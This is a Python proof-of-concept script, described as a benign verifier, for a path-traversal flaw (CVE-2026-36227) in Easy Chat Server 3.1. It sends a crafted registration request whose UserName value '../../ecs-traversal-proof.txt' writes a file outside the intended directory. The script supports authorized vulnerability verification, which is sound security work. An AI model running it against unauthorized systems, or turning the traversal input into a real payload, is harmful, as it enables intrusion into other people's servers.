#!/usr/bin/env python3 """Benign verifier for CVE-2026-36227. This sends the Easy Chat Server registration request with a traversal-style UserName value. It does not include executable payload content. """ import argparse import socket import sys import urllib.parse DEFAULT_USERNAME = "../../ecs-traversal-proof.txt" def build_body(username: str) -> bytes: form_data = { "UserName": username, "Password": "proofpass", "Password1": "proofpass", "Sex": "1", "Email": "proof@example.local", "Icon": "0.gif", "Resume": "CVE-2026-36227 benign traversal verification", "cw": "1", "RoomID": "", "RepUserName": "", "submit1": "Register", } encoded_parts = [] for key, value in form_data.items(): encoded_key = urllib.parse.quote(key, safe="") encoded_value = urllib.parse.quote(str(value), safe="/") encoded_parts.append(f"{encoded_key}={encoded_value}") return "&".join(encoded_parts).encode("utf-8") def build_request(host: str, port: int, username: str) -> bytes: body = build_body(username) headers = [ "POST /registresult.htm HTTP/1.1", f"Host: {host}:{port}", "User-Agent: CVE-2026-36227-local-verifier/1.0", "Accept: */*", "Accept-Language: en-us", "Connection: close", "Content-Type: application/x-www-form-urlencoded", f"Content-Length: {len(body)}", "", "", ] return "\r\n".join(headers).encode("utf-8") + body def send_request(host: str, port: int, username: str, timeout: float) -> bytes: request = build_request(host, port, username) with socket.create_connection((host, port), timeout=timeout) as sock: sock.sendall(request) chunks = [] while True: chunk = sock.recv(4096) if not chunk: break chunks.append(chunk) return b"".join(chunks) def main() -> int: parser = argparse.ArgumentParser( description="Benign verifier for Easy Chat Server 3.1 CVE-2026-36227." ) parser.add_argument("host", help="target host you own or are authorized to test") parser.add_argument("port", type=int, help="target HTTP port, commonly 80") parser.add_argument( "--username", default=DEFAULT_USERNAME, help=f"UserName value to submit, default: {DEFAULT_USERNAME}", ) parser.add_argument("--timeout", type=float, default=5.0, help="socket timeout") parser.add_argument( "--dry-run", action="store_true", help="print the HTTP request and do not send it", ) args = parser.parse_args() request = build_request(args.host, args.port, args.username) print(f"[+] Host: {args.host}:{args.port}") print(f"[+] UserName: {args.username}") print(f"[+] Request size: {len(request)} bytes") if args.dry_run: print(request.decode("utf-8", errors="replace")) return 0 try: response = send_request(args.host, args.port, args.username, args.timeout) except OSError as exc: print(f"[-] Request failed: {exc}", file=sys.stderr) return 1 print("[+] Response received, first 500 bytes:") print(response[:500].decode("utf-8", errors="replace")) print("[+] Check the Easy Chat Server web/root directory for the proof file.") return 0 if __name__ == "__main__": raise SystemExit(main())